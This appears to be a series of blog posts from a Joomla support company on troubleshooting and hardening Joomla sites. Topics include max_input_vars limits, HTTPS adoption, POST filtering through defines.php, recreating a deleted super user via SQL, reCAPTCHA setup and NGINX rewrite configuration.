The problem wasn’t solved. It was just a coincidence. When the client turned off Cloudflare, we added an article to a category that had very few articles, and so the reordering process was super quick.

We hope you didn’t find this very long post intimidating. After all, the solution really consists of adding one line (or a couple of lines) to just one file. The rest is purely detective work (or a wild-goose chase, depending on how you see things) and a discussion of the cause of the problem. Having said that, you should do the necessary due diligence before implementing the solution, mainly by ensuring that you are not using the Article Order ordering anywhere on your website. If you do, or if you are not sure, or if you just want help with the implementation, then please contact us. We will always find a solution to your ordering problem, we will ensure that your website remains stable after the implementation, and you won’t have to relinquish your hereditary rights on that beautiful south pacific island in favor of your evil half-sister to pay us our fees!

Why It’s Important to Switch Your Joomla Website from HTTP to HTTPS

Back in 2013, we have debunked the myth that switching from HTTP to HTTPS will make a Joomla website more secure, and we have explicitly recommended against using it globally. Obviously, times are different now, and while we still haven’t changed our mind that such as switch will not make a Joomla website more secure, we can no longer recommending against it. Why?

Well, because of the following reasons:

  • As of August 2014, Google considers the usage of HTTPS across the board as a minor positive ranking signal. In other words, using HTTPS on your website (the whole of your website) will give its search engine rankings a minor lift.
  • As of January 2017, Google Chrome, the world’s most used browser (in fact, at the time of writing this article, Google Chrome has more market share than all of the other browsers combined), has started displaying a “Not secure” message in the address bar when people visit a page that has a form transmitting sensitive data. So, for example, if every page on your Joomla website has a login module, then Chrome users will see that “Not secure” message on every page of your website. Not good.

  • At around the same time (January 2017), FireFox, the world’s third browser by market share, started displaying a lock with a diagonal red line to label a website matching the same criteria defined by Google Chrome as non-secure.

Unless you are sure that all of your site visitors use Bing as their search engine and Internet Explorer/Microsoft Edge as their browser (Microsoft hasn’t followed suit yet), then you must do something about it, or else your rankings will suffer considerably. Why, you may ask? Well, because when some (if not most) people see that “Not secure” message on their browser when visiting one of your pages, then they will flee your website. This will substantially increase your bounce rate, which will severely affect your search engine rankings. Yes, you’re right, the labeling used by Chrome and FireFox is inaccurate (only the data transmission is not secure, and not the whole website), but only the technical people will understand that.

So, our dear reader, if you are experiencing a higher-than-usual bounce rate on your Joomla website and you have a login form slapped on all of your pages, then the likely cause is that your website is not running in secure (HTTPS) mode, when it should. If you need help with making the switch from HTTP to HTTPS, then you are in no better place: just contact us and we’ll handle this for you quickly, efficiently, and affordably.

Unable to Save/Create Joomla Modules – What to Do?

A client called us this morning and told us that he was unable to create new modules and save existing modules. So, we logged in to his website and checked the problem, and it was like he said: we opened a module, we modified it, and then we saved it, but it wasn’t saving the new information. We weren’t also able to create new modules. What was weird though, is that we were able to set the Published status of the module from the module listing page (e.g. by clicking on the green published check mark).

At first, we thought the issue had to do with caching, but we quickly ruled out the problem when we noticed that modifications from the module listing page were taking effect immediately. In fact, the client didn’t have any caching on his Joomla website whatsoever.

We then thought the issue had something to do with a JavaScript conflict, so we checked the console in Google Chrome, but we didn’t see any errors.

We were desperate – and so we started blaming solid extensions for the problem, like JCE, for example. So we switched from JCE to the default Joomla editor, but that also didn’t fix the issue.

We were just about to do some serious debugging on the website when we noticed that the user had hundreds of groups in the Joomla ACL. Could it be like the problem we had a couple of weeks ago, where Joomla’s configuration settings were not saving, we thought?

So, we created a .user.ini file with the following content:

max_input_vars = 8000

We then placed the file in the root folder of the Joomla website, and we tried again, and this time it worked! Hooray! It was a super simple fix to a very annoying problem!

If you have the same problem on your Joomla website, then you can fix it by setting the max_input_vars to a very high number in the .user.ini file. If that didn’t work for you, or if you need help with the implementation, then please contact us. We always find a solution to any Joomla issue, our fees are super competitive, and we are always overjoyed to have good clients like yourself!

A Very Weird Joomla Issue

Back in 2011 (yes – that’s 6 years ago!) we published an article titled: “My Joomla Changes Are Not Showing!“. In short, the article stated that when Joomla changes in the backend are not visible on the frontend, then it’s a caching issue.

Of course, Joomla has changed substantially between then and now, but typically, when Joomla changes are not showing immediately, then it’s almost a certainty that the cause is caching. It might be browser caching, Joomla caching, or server (or proxy) caching – but it is, almost always, caching. We’re saying almost because on very rare occasions, the cause is not caching. Let us tell you a little story to make our point…

Yesterday evening a new client called us, and told us that she was not seeing her changes, despite clearing the cache. So, we logged in to the backend of her Joomla website, made a small change, and then checked the website, and our change did show. Naturally, we told her that her website didn’t have a problem in reflecting new changes, and we asked her to clear her browser cache. And so she did, but, even after clearing her browser cache, she didn’t see our little change. It was puzzling. We asked her to use another browser, and another machine, and she did, but the problem was still there…

Eventually, she mentioned to us that the whole problem started when her host moved her website to another server early in the morning. And so it hit us: we asked her to ping her website from her end and we pinged her website from our end, and, unsurprisingly, we both got different IPs. It seems that on her end, the website hasn’t resolved yet, but on our end, it did, and that’s why we were seeing the changes and she weren’t. Mystery solved!

Now if you, our dear reader, are not seeing your Joomla changes immediately and if you are sure that it is not a caching issue, then it might be caused by a recent move to another server, and just restarting your Internet router (and your machine) may resolve the problem. If you need help investigating the problem, then please contact us. We are always ready to help, we are always happy to help, and our prices are super affordable.

5 Reasons Why Saving Joomla Articles Is Timing Out (or Taking a Long Time)

One of the most annoying problems on Joomla websites is that saving articles can timeout (and display a 500 – Internal Server Error message) or can take an insane amount of time. This problem is not uncommon on large websites, and it typically gets worse every day. But why does this problem exist on a high profile CMS such as Joomla?

Well, there are five reasons that can cause a timeout when saving Joomla articles (or can cause the process to take a lot of time, like many seconds or even minutes):

  1. An overcrowded assets table: When you save an article on a Joomla website, a row (sometimes even more than one row) gets inserted/updated in the assets table. The problem is, the more rows you have in that table, the more costly the operation is. A “good” assets table is a table that only has a few hundred entries, more than that and this table can be the source of major trouble on your website. A quick (and dirty) fix to the “assets” problem is to clean the assets table as described here. You should also consider running a nightly cron that will clean your assets table (that’s what we do on large Joomla websites that we support).
  2. Smart Search: The so-called smart search is the unsung hero (or is it villain?) of Joomla performance nightmares. Smart search was created to replace classic search plugins on Joomla websites, and that was because the latter created performance issues on large websites. Unfortunately, not only smart search did not solve those performance issues, it added even more performance issues. You see, when you save an article with the Smart Search – Content plugin turned on, many entries (rows) will be created in the finder tables (the number of entries is proportional to the length of the article), which is a very costly process when it comes to the database. If you have millions of rows in those finder tables, then likely the problem lies in the smart search plugins that you’re using. To make sure, just disable all the smart search plugins that you have and try to insert an article. If the problem is gone, then the cause is definitely smart search. The solution to this problem is to use Sphinx instead.

  3. A system plugin: Some non-core system plugins are triggered when you save a Joomla article. These plugins are typically harmless, and they merely run only to support a feature on your website. Some of these plugins, however, perform some heavy database operations, or request a remote file (but timing out on that file because of permission reasons), thus slowing down the saving process. A good strategy to solving this problem is to disable all your non-core system plugins one by one in order to locate the rogue plugin.

  4. Shared hosting: If your website resides on the server of a mainstream shared host, then be prepared to encounter performance issues everywhere, not just when saving articles. This is because mainstream shared hosts try to cram as many websites as they can on the same server, so they’ll barely give each website enough power to run. If you are serious about your Joomla website (or any type of website), then you should go with at least a VPS. Note: avoid all these “cloud hosting” solutions – cloud hosting is technically shared hosting, but with a different, more attractive name to lure the masses.

  5. A hacked website: There are many variations of hacks on Joomla websites. Some of these hacks affect specific functionalities on the Joomla website, such as when saving new articles. Run a scan on your website (a super quick method that has very high accuracy is to run these couple of shell commands to find hacked files on your Joomla website), and ensure that you have the latest version of Joomla installed, and also ensure that all your extensions are up to date.

We hope that our post helped you find the cause (and the solution) to your article saving problems. If it didn’t, then don’t despair, just contact us and we will find the solution to the problem quickly, efficiently, and affordably.

Note: The above list is not fully exhaustive, there are other reasons (mainly having to do with the firewall or the server’s environment) that may cause article saving problems on a Joomla website.

Platform Specific Caching – A Hidden Gem Inside Joomla’s Global Configuration

Back in 2014, we presented a solution to a common Joomla problem then, where Joomla displays the mobile version of the template on the desktop (or vice versa). We stated that the problem was caused by the Joomla cache, which caches the mobile version of a page and displays it for both desktop and mobile devices if a visitor visits the website with his mobile device first (e.g. before the cache is created or after the previous cache has expired).

Admittedly, our solution was a core hack, which was the best solution then since the problem lied in the core. About 14 months after our post (on March 21st, 2016), Joomla 3.5.0 integrated our changes – almost exactly as they are, in its core. The question that you probably have on your mind right now is: “where?”. The answer is Platform Specific Caching.

Login to your Joomla website, and then click on System -> Global Configuration, and under Cache Settings, you can see Platform Specific Caching, which is set to “No” by default.

How does Platform Specific Caching works?

Platform Specific Caching works the same way our core hack works: it differentiates between the desktop cached version and the non-desktop cached version of the page by appending a string to the cache file name. The only difference is that instead of prefixing the cache file with mobile-, it prefixes it with M-. When someone from a mobile device visits the site, it will then create/serve a cache file prefixed with M-. If someone visits the site from a desktop, then it will create/serve a non-prefixed cache file.

Why is Platform Specific Caching set to “No” by default?

Because of 2 reasons: 1) not all sites have a mobile template, and 2) not all sites have a mobile template that is different from the desktop template (this is the case of websites with a responsive template, which generally don’t need to use Platform Specific Caching).

Are there any disadvantages of using Platform Specific Caching?

The only disadvantage is the fact that number of cached files will double – but, in this day and age of SSD drives with large capacity, this disadvantage is negligible.

Do websites with responsive templates need to use Platform Specific Caching?

Generally no – unless there are extensions that generate different HTML for desktop and mobile devices. In this case, it must to be used. Note that Platform Specific Caching will not cause any issue on the website (even if it’s not needed), so, if you are unsure, then you can just safely set it to “Yes”.

If your website is displaying mobile layouts on the desktop, then you should enable Platform Specific Caching. If doing so doesn’t solve your problem, then please contact us. We are always happy to serve, we are experts in Joomla, and our fees are very affordable!

On Joomla’s Core Hacks

Note: In this post, by “core file” we mean a Joomla file that cannot be overridden at the template level.

We have a somehow hawkish attitude when it comes to optimizing Joomla: we are not afraid of using core modifications (e.g. core hacks) to optimize/secure Joomla websites. For that, we are often criticized by some members of the Joomla community; these people state that it is always better to use overrides instead of core hacks. We don’t disagree, but like in everything else in life, a balance must be struck between what’s ideal and what’s realistic.

Ideally, we should have the ability to override any file on a Joomla website. Realistically, this is practically impossible, and we have an experiment that backs our statement. A few months ago, we were assigned to a project that consisted of optimizing a large Joomla website. We decided to use an extension called Joomla Override (the extension is actually referred to in Joomla’s official documentation) in order to do the optimization. At the end of the day, we discovered that many important files cannot be overridden with that extension (and any extension, for that matter), mainly because these files are loaded before anything else. By the end of the optimization mess work, we ended up with 4 overridden files, and 6 Joomla files with core modifications. Naturally, we decided that the whole thing was counterproductive, and we switched the file overrides to core modifications. A substantial part of this (failed) experiment was documented here.

But what if itoctopus developers don’t know how to properly override core files?

If you are an avid read of our blog, then you should have an idea of our level of expertise in Joomla. We know what we are talking about: there are many files that cannot be overridden on a Joomla website, and a quick example is session related files, as initial session activities must take place before loading any Joomla extension.

The only way to have the ability to override all Joomla files is for Joomla to implement the mechanism to do so. For example, Joomla can have a folder called userdefined in its main directory, and, before loading any Joomla file, it will check if a file with the same path exists under the userdefined directory. For example, if someone wants to override the includes/framework.php file, then he should create a file called framework.php under userdefined/includes. Adding such ability to Joomla is not an easy task, as all the requires / includes functions must be replaced with jrequires / jincludes functions. The latter functions will be wrappers (that must be defined in the index.php file) and will first attempt to require/include a file from the userdefined folder, and, if the file doesn’t exist, then they must require it/include it from its normal location.

Here is an example implementation of the jrequire function:

function jrequire($path, $once = false){
	if (file_exists('userdefined/'.$path)){
		if ($once)
			require_once('userdefined/'.$path);
		else
			require('userdefined/'.$path);
	}
	else{
		if ($once)
			require_once($path);
		else
			require($path);
	}
}

The above function could be written more elegantly, but you get the idea. This will allow Joomla developers to override any Joomla (PHP) file, with the exception of the index.php file in a very clean way that will sustain the test of time.

Unfortunately, at the moment jrequire and jinclude do not exist, so we have to work with what we have, and what we have (we know, that’s the third what we have in the same sentence) is core hacks, which are extremely necessary on large Joomla websites (mainly for performance reasons). Clearly, core hacks are not ideal because they get wiped out with future updates, but, if you document the changed files, then you should be OK.

Now, if you, our dear reader, would like to modify a core file that cannot be modified at the template level and you need help, then please contact us. We would love to do that for you, you will love our work, and you will love our prices!

Leveraging the Power of the “defines.php” File to Monitor POST Requests on Joomla Websites

As of version 1.6.0 (which was released 6 years ago in January of 2011), Joomla checks for the presence of a defines.php file at the main directory of the website. If it finds it, then it includes it.

The defines.php file is not part of the Joomla core, it doesn’t even come packaged with Joomla. It is, in fact, a user defined file, and not many people in the world know about it. Unfortunately, most of those who know about it associate with a horrible experience, because it was used to exploit their website (someone took advantage of their Joomla website and uploaded a malicious defines.php to their website).

For us, we think that the defines.php is an excellent tool for security. Yes – we know that the reaction to this statement would be similar to that of Professor Slughorn when Tom Riddle (aka Lord Voldemort) asked him about the Horcruxes, but let us explain…

The defines.php file is the first file to be loaded by Joomla. In fact, the code to load the defines.php is in the top of the main index.php, and not much code is executed before it (save for a few lines of code for checking if the version of PHP is OK and for getting the current time and the current memory usage). This means that it is impossible, from an application perspective, to hack the Joomla website before the inclusion of the defines.php file. This in turn means that, assuming that the website is clean, one can add additional security in the defines.php file mainly by monitoring POST requests (or any type of requests) to the website. Here’s how:

  • You create a file called defines.php at the main directory of your Joomla website.
  • In the define.php, you add the following PHP code:

    $strPostData = file_get_contents('php://input');

    The above code will grab all the data submitted using POST.

  • You check the above data for any suspicious pattern using the PHP function stripos, and, in the case of some malicious content, you just block further processing of the page using the die function.

As you can imagine, you can do a lot of powerful things when it comes to security with the defines.php file. There is one caveat, however, is that the code in the defines.php will only intercept POST requests made to the main index.php file. So, if you have an additional PHP file that is directly accessible by the outside world, then the defines.php code will not be executed for that file. If you want to ensure that all traffic goes through your defines.php filter, then you should ensure that the index.php file is the only PHP file directly accessible by the outside world.

So, was additional security the original purpose behind the defines.php file? If yes, why wasn’t this additional security added to the Joomla core?

No. Additional security was not the original purpose. The defines.php concept was created by Joomla developers to store user defined global constants. For example, if some of your extensions use the now obsolete DS constant, then you can add the following to your defines.php file:

define('DS', '/');

The above line will ensure that any DS constants are properly replaced by the forward slash (/).

Do you need to place code in the defines.php file inside PHP tags?

Definitely! The defines.php must be treated like any other PHP file. You must have the opening and closing PHP tags.

We hope you found this post useful, and we hope that you take advantage of the defines.php file in order to strengthen the security of your Joomla website. If you need help doing so, then please contact us. We are always there for you, our prices are super affordable, and we are experts in Joomla security.

Joomla Configuration Settings Not Saving? Read This!

A curious thing happened to us this morning while trying to update a supposedly small Joomla 2.5.28 website to 3.5.1. No – we didn’t suddenly develop xray vision, it was something even curiouser than that!

Let us begin by explaining what we were doing… We were, as stated before, trying to update a small Joomla website from 2.5.28 to 3.5.1 by following the official guide (we only do that for very small websites – since it expedites the work – otherwise, we perform the migration manually). As you may probably know, the second step of a migration from 2.5.28 to 3.5.1 (the first step is always the backup step), would be to change the Update Server from Long Term Support (recommended) to Short Term Support in the Options of the Joomla Update extension, but, when we tried to do that on the client’s site, we saw something unexpected: we saw the Joomla configuration settings page loaded in the popup after clicking on the Save button! Yes – you heard (or read) that right: the popup loaded the configuration settings page! Huh?

That was very weird, we thought. We thought it was a glitch, and so we did it again, and again, and again. Still, we had the same problem, but we did notice something: we noticed that the popup had a large number of fields inside it, mainly because there was a huge ACL database on that particular website. Could it be, we thought?

We then went to the configuration settings page, and made a small modification (we decreased the session lifetime from 60 to 59), and then tried to save it. Unsurprisingly, our little change wasn’t saved! We knew immediately what was happening: the number of the fields on that page (and the Joomla Update popup) was exceeding the maximum number of inputs allowed by the PHP instance on the development server (we were doing the update on a development server).

To verify our theory, we checked the value of max_input_vars (by creating a small PHP page with phpinfo(); in it), and it was set to the default value of 1000. Checking the HTML code of the Joomla configuration settings page revealed that the page had the following fields:

  • 2933 select fields
  • 583 input fields
  • 4 textareas

The total number of fields was 3520, which was more than triple the PHP limit. Clearly, that was the problem!

So, how did we solve the problem?

We solved the problem by creating a .user.ini file in the main directory of the Joomla website (e.g. at the same level of the index.php file) with the following content:

max_input_vars = 8000

As you can see, we increased the maximum number of input variables to 8,000, which is more than double the current need. We then tried to modify a setting in the configuration settings, and this time it worked!

Will the above solution always work?

The above solution should work flawlessly on most recent servers (especially those using WHM). However, on some older servers (or servers with weird environments), it may not work. If it doesn’t, then try renaming the .user.ini file to php.ini file. If it still doesn’t work, then create a file called defines.php in the main directory of your Joomla website, and then add the following code to it:

<?php ini_set('max_input_vars', '8000'); ?>

If the above still doesn’t work, then you will need to modify the max_input_vars value in the master php.ini (e.g. the server’s php.ini file) and then restart Apache. If you are on a shared hosting, then most likely you don’t have access to that file, which means that you will need to beg ask your hosting company if they can do it for you.

How come the client didn’t notice the problem?

The client didn’t notice the problem because the production website resided on a different server with an already altered max_input_vars. Obviously, whoever was working previously on that Joomla website noticed the problem before and addressed it on the production server.

Are there any side effects for having a large max_input_vars value?

Yes – DoS (Denial of Service) attacks – especially ones using hash collisions (aka HashDOS attacks) – will be more dangerous on servers where the max_input_vars directive is set to a high value. This problem, of course, is more relevant to websites with high exposure and many enemies (as these are the websites that typically get hit with more than the FDA recommended intake of DoS attacks).

But why so many fields in the configuration settings page?

Well, there are 2 entities that must be blamed here: the Joomla administrator (that’s you), and Joomla itself. First, if a Joomla website has more than 100 groups and/or access levels, then there must be something conceptually wrong with the website. In other words, the groups/access levels are being used for the wrong purpose. Second, Joomla must not display all the ACL data on one page – not only this is a problem at the server level (where the max_input_vars can be exceeded), but it is also a problem at the client level (the browser may crash because of all these fields). Additionally, Joomla must have a mechanism to check for the max_input_vars and warn the administrator if a certain page is exceeding the effective limit.

We hope you enjoyed reading this post as much as we have enjoyed writing it. We have tried our best to make it as uncomplicated as we can. We reckon, however, that non-developers may find it a bit over their head. If this is the case for you, then please contact us. We are always happy to serve, our fees are affordable, our work is top notch, and we always strive for the cleanest solution possible.

How to Add a Joomla Super User from phpMyAdmin

Ever since the elevated permissions (or elevated privileges) exploit in Joomla versions less than 3.6.5 was made public, we are seeing weird things happening to the #__users table on hacked Joomla websites. These weird things can be any (or all) of the following:

  • The usernames of all the users are changed to admin.
  • All super users are deleted.

  • New super users are created.

In this post, we will address the second problem – when all super users are deleted. We will explain how to create a super user from scratch using phpMyAdmin:

  • Login to phpMyAdmin.
  • Select the database that is used for your Joomla website. You can know which database is used on your Joomla website by checking the $db value in the configuration.php file.

  • Click on the SQL tab, and then run the following queries (replace #__ with your database prefix, which is the value of the $dbprefix variable that can be found in your configuration.php file):

    INSERT INTO `#__users` (`id`, `name`, `username`, `email`, `password`, `block`, `sendEmail`, `registerDate`, `lastvisitDate`, `activation`, `params`, `lastResetTime`, `resetCount`, `otpKey`, `otep`, `requireReset`) VALUES (1000000, 'tempsuperuser', 'tempsuperuser', 'youremail@yourjoomlawebsite.com', MD5('temppassword'), '0', '0', '0000-00-00 00:00:00', '0000-00-00 00:00:00', '', '', '0000-00-00 00:00:00', '0', '', '', '0');

    INSERT INTO `#__user_usergroup_map` (`user_id`, `group_id`) VALUES ('1000000', '8');

  • That’s it! You should now be able to login to your Joomla website as super user using the username tempsuperuser and the password temppassword. Try it!

Does the above guide guarantees that the super user won’t be deleted in the future?

No – it just recreates a super user from scratch. If you see weird activity in your #__users table, then most likely your website is hacked/vulnerable and it is very possible that you will see the same issue in the future. You will need to update your Joomla website to the latest version, ensure that your extensions are all up-to-date, and follow our important Joomla tips here.

If the above guide is a bit over your head, or if you need help in securing your website, then please contact us. We are always here to help, we work 24/7/365, our fees are super affordable, and we are the friendliest Joomla developers on this planet (and many other uninhabited planets)!

Module Title Is Not Showing on Joomla: How to Fix

A new client emailed us this morning and told us that the titles of modules assigned to a certain position are not showing. He told us he was using the latest version of Joomla, and that he ensured that “Show Title” was set to “Show” in the module’s settings. He told us that he’s confident that it was not a caching problem, since he was not using any type of caching and all of his other changes were showing immediately… “What could it be?”, he desperately asked us…

Luckily, we have seen this problem many times before… The problem is neither caused by caching nor by the module itself – the problem is caused by the template. Let us explain…

When you want to create a new module position on your website, you add something like the following code to your template’s index.php:

<jdoc:include type="modules" name="module-position" type="xhtml" />

The above ensures that any enabled module assigned to module-position will be displayed on the pages it is assigned to. Additionally, the above ensures that the styling of the module is set to xhtml, which means (among other things), that the module’s title will be displayed.

However, if you add something like the below to your template’s index.php

<jdoc:include type="modules" name="module-position"/>

…then the default styling will be used for the modules assigned to module-position, and that default styling is none (note that Joomla’s official documentation erroneously states that the default styling is table – this is wrong – the default styling is none). The none default styling means that the title will not be displayed, and no preset styling will be applied to the module.

As you may have probably guessed when reading this post, our client used something like the latter line in his template, and that’s why the module title was not showing. Adding type=”xhtml” to the module declaration in the template fixed the problem…

If you have the same problem on your Joomla website, then make sure you add type=”xhtml” in the module’s declaration in your template (or make sure you replace type=”none” with type=”xhtml”). Once you do that, clear your Joomla cache and see if it works. If it doesn’t, then please contact us. We will help you fix the problem in no time and for a very affordable fee.

“To use reCAPTCHA you must get an API key” Error when Using reCAPTCHA on RSForm

A client of us told us that he didn’t like the default CAPTCHA (by the way, in case you really want to know, CAPTCHA stands for Completely Automated Public Turing Test to Tell Computers and Humans Apart) field that comes with RSForm. He said that the letters looked very small, and that it affected his conversions.

He asked us to switch all his forms to use reCAPTCHA instead, and so, we downloaded and installed the reCAPTCHA RSForm plugin on the Joomla website, we enabled the plugin, and then we went through each and every one of his forms, and switched all the CAPTCHAs to reCAPTCHAs.

While having the strange feeling that we missed something, we went to one of the forms to see if it’s working on not, but instead, we saw the following message on the very top of the page…

To use reCAPTCHA you must get an API key from http://www.google.com/recaptcha/whyrecaptcha

…and, in the place where the CAPTCHA should have been displayed, we were seeing the following error:

Input error: k: Format of site key was invalid

Aha, so our instincts were right, we did forget something: we forgot to generate a reCAPTCHA API key, and so we went to the above URL (while logged in to our Google account), and followed the instructions to generate a Site Key and a Secret Key. Once we did that, we went back to the Joomla website, we enabled the Captcha – ReCaptcha core system plugin, and we added our Site Key and our Secret Key in its settings.

We then went to an RSForm form on the website, but still, we saw the same error… That didn’t make sense, we thought… How come we are still seeing the same error when we just added the API keys to the core reCAPTCHA plugin. Logically, the next step was to find out how the above error was triggered, and so we searched the Joomla files for the following line: To use reCAPTCHA you must get an API key.

The search revealed that the error was thrown by the function rsform_recaptcha_check_answer in the file relib.php (which was located under the plugins/system/rsfprecaptcha folder), and it was thrown because $privkey (which is reCAPTCHA‘s Secret Key) was empty. So we checked how this variable was passed to the function, and it turned out that the plugin was grabbing this value from the settings of the RSForm extension, which was obvious in following line (the line was located in the rsfprecaptcha.php file, which was in turn located in the plugins/system/rsfprecaptcha folder):

$privatekey = RSFormProHelper::getConfig('recaptcha.private.key');

Aha! So RSForm had its own reCAPTCHA settings, and so it wasn’t using the settings of the core reCAPTCHA plugin. So we logged in to the backend, and then we clicked on Components -> RS Form Pro -> Configuration, and we found a tab called reCAPTCHA. We entered our Site Key in the Public Key field and our Secret Key in the Private Key field, we saved the settings, and then we visited the form and this time it worked! Hooray!

Now if you, our dear reader, are seeing the above error on your website, then make sure that you enter reCAPTCHA‘s Site Key and Secret Key in RSForm‘s reCAPTCHA settings. If, after doing that, you are still seeing the same error, then please contact us. We will solve the problem for you quickly, affordably, and professionally!

Registration Form Redirects to Login Form on Joomla 3.6.5

While processing what seemed to be a very simple request from one of our clients this morning, we encountered a very weird issue. The simple request was that the client wanted a simple registration form on his website, and the weird issue was that, for an unknown reason, we were redirected to the login form everytime we tried to visit the registration URL.

Here’s what we did:

  • We created a new menu item of type Registration Form.
  • We set the alias of that menu item to be register.

  • We visited http://www.[ourclientjoomlawebsite].com/register, but we were redirected automatically to http://www.[ourclientjoomlawebsite].com/register?view=login, which is the login page.

We checked everything – we checked whether the client had sh404SEF installed, and he didn’t. We checked the .htaccess file for weird redirects, but the client was using a very standard .htaccess file.

After a lot of investigation, we discovered that the root cause of the problem was that user registration was disabled on the website. We did the following to solve the problem:

  • While in the backend of the Joomla website, we clicked on Users -> Manage (which displayed a listing of all the Joomla users).
  • We clicked on Options on the top right.

  • We changed the value of Allow User Registration from No to Yes.

  • We saved the settings and then we tried again.

  • This time it worked!

Joomla was doing the right thing by redirecting the registration page to the login page, but, in our opinion, Joomla must have warned us when we created the menu item of type Registration Form that Allow User Registration was disabled. Had it done so, it would have saved us a lot of time!

In any case, if you, our dear reader, are having the same problem on your Joomla website, where the registration page is redirecting to the login page, then make sure that Allow User Registration is enabled on your website. If it is, then try using another browser (some browsers temporarily save redirects) and see if the problem is fixed. If it still isn’t fixed, then please contact us. Our fees are super affordable, our work is super professional, and we are the friendliest developers on planet Earth.

All URLs Display Homepage Content on a Joomla Website Powered by NGINX

We had a weird case late last week: a new client contacted us and told us that all the links on his website were pointing to the homepage. He told us that he was using NGINX, and he told us that he thought that NGINX is the cause of the issue.

So, we checked the website – it wasn’t that all the links were pointing to the homepage, it was that all the links were displaying the homepage. For example, http://www.ourclientjoomlawebsite.com/ and http://www.ourclientjoomlawebsite/link-1 and http://www.ourclientjoomlawebsite.cm/link-2 were all displaying the contents of the homepage. The links were not being redirected, the links were just displaying the contents of the homepage.

The first thing that we did was to empty the $live_site variable in the site’s configuration.php file. So, we changed:

public $live_site = 'http://www.ourclientjoomlawebsite.com';

to:

public $live_site = '';

Unfortunately, that didn’t work, but, deep down inside, we didn’t expect it to: it was a long shot…

The second logical thing to do was checking the nginx.conf, which is the NGINX configuration file. Here’s what we did:

  • We ssh’d to the server as root.
  • We opened the file nginx.conf which is located under the /etc/nginx folder.

  • We checked if the location / statement existed in the code (which is needed for Joomla to work correctly under NGINX), and it didn’t, so we added the following code immediately before the last line (the last closing curly bracket):

    server {
      location / {
         expires 1d;
         try_files $uri $uri/ /index.php?$args;
      }
    }

  • We saved the file, and then restarted the NGINX webserver by issuing the following command in the shell:

    /etc/init.d/nginx restart

    Note: If after restarting nginx you see the following error: Restarting nginx (via systemctl): nginx.serviceJob for nginx.service failed because the control process exited with error code. See “systemctl status nginx.service” and “journalctl -xe” for details., then the problem might be that you didn’t put the location code block inside a server code block.

  • We tested the website, but still, the same problem…

Odd, we thought… Mind you, disabling SEF did solve the problem, but, naturally, that wasn’t a real solution and it wasn’t an option for the client…

After spending a few hours beating around the bushes, we started pondering about exploring cheap suicide tactics, like holding our breath for too long. Luckily, it didn’t come to this, as we saw something curious: when we visited the administrator section of the website, we noticed that no CSS style was applied to the login page, which was weird. Checking the HTML code, we noticed that the following file was requested:

<link href="/templates/isis/css/template.css?de6fd0cafae3e6687ab8a1abd290a957" rel="stylesheet" />

But, from our experience, the above line should be something like:

<link href="/administrator/templates/isis/css/template.css?de6fd0cafae3e6687ab8a1abd290a957" rel="stylesheet" />

So, why is administrator missing from the link? Is it related to the original problem? It must be related to the original problem – because it’s a substantial issue with the URL, which is exactly what the original problem is.

The missing “administrator” problem restored our hopes, because not only we were increasingly confident that it was directly connected to the original problem, we were also confident that we were able to fix it, as the problem was easily traceable through code.

Once we investigated this issue further, we discovered something interesting, the JURI::Base() function was always returning empty. Huh?

So, we checked the implementation of the JURI::Base() function in the file uri.php file which is located under the /libraries/joomla/uri/ folder, and we discovered something even more interesting, $_SERVER[‘PHP_SELF’] was empty! In fact, it was always empty!

Joomla relies on $_SERVER[‘PHP_SELF’] heavily in its handling of SEF URLs and in its backend, which means that the original problem is really caused by $_SERVER[‘PHP_SELF’]. We found the root cause of the problem! Hooray! The next step was to actually solve the problem…

It was obvious that the problem was caused by the NGINX web server, and so we made an extensive research about the issue, and we discovered that, in order to address the problem of the empty $_SERVER[‘PHP_SELF’], a certain PHP global variable, called PATH_TRANSLATED, must be explicitly defined in the fastcgi_params file that is used by the nginx.conf file. The fastcgi_params is typically found in the /etc/nginx folder (at the same level of the nginx.conf folder).

Another thing that needed to be done was to change the value of cgi.fix_pathinfo in the php.ini from 0 to 1.

Here’s how we did all the above:

  • We added the following code to the nginx.conf file (instead of the code added near the beginning of this post):

    server {
      location / {
    	expires 1d;
    	try_files $uri $uri/ /index.php?$args;
    	fastcgi_split_path_info ^(.+?\.php)(/.*)$;
        if (!-f $document_root$fastcgi_script_name) {
    		return 404;
        }
    	fastcgi_param HTTP_PROXY "";
    	fastcgi_pass 127.0.0.1:9000;
    	fastcgi_index index.php;
    	include fastcgi_params;
      }
    }

  • We opened the file fastcgi_params (again, which is located under the /etc/nginx ) folder and we added the following line (after the PATH_INFO line):

    fastcgi_param  PATH_TRANSLATED    $document_root$fastcgi_script_name;

  • We restarted NGINX by issuing the following command:

    /etc/init.d/nginx restart

  • We opened the php.ini file (please check phpinfo(); to know the exact location of your working php.ini file) and we changed the following line:

    cgi.fix_pathinfo=0

    to:

    cgi.fix_pathinfo=1

  • We restarted php-fpm by issuing the following command in the shell:

    /etc/init.d/php7.0-fpm restart

  • We checked the website and the problems, all the problems, were solved! The URLs were working and the administrator section was working! Double hooray!

We are not sure whether this problem applies to all NGINX servers, or to just NGINX servers using PHP 7. In either case, the official Joomla documentation about NGINX should be updated, as it no longer reflects a guaranteed working solution.

If you’re running NGINX and your website is displaying the homepage for all the URLs, then please follow our guide above. It should work for you as it worked for us. In the unlikely case where it doesn’t work for you, then please contact us. Our service is fast, our work is professional, we are reliable, and our fees are super affordable.

Out of Memory Error vs Allowed Memory Error on a Joomla Website

We know, it’s been a couple of weeks since we last wrote a post on this blog – we’re not getting lazy, it’s just that we had quite a few large projects in December. Still, we feel guilty, and so we decided to write a post right now, and if you want to know what right now is, then it is 8:52 PM EST on December 31st, 2016. Yes, it’s new year’s eve, and we’re writing a blog post!

OK – enough with this introduction. Let’s start with the juicy stuff…

As a Joomla administrator, you may have seen one of the following errors on your Joomla website (or maybe you have seen both of them):

Fatal error: Allowed memory size of x bytes exhausted (tried to allocate x bytes)

Fatal error: Out of memory (allocated x) (tried to allocate x bytes)

To the untrained eye, the above errors look more or less the same: they look like a memory problem, and this is correct, they are memory issues. But, they are completely different memory issues. Unfortunately, most Joomla administrators think that the above errors are the same, and they think that the solution presented in this post will fix both of them. This isn’t the case…

In fact, increasing the memory_limit in the php.ini or the .user.ini file may address the first problem, but it certainly will not address the second problem. You see, the first problem means that the Joomla website has exceeded the allowed memory limit for the PHP instance, while the second problem means that the Joomla website has used up all the available memory. Let us give you an example…

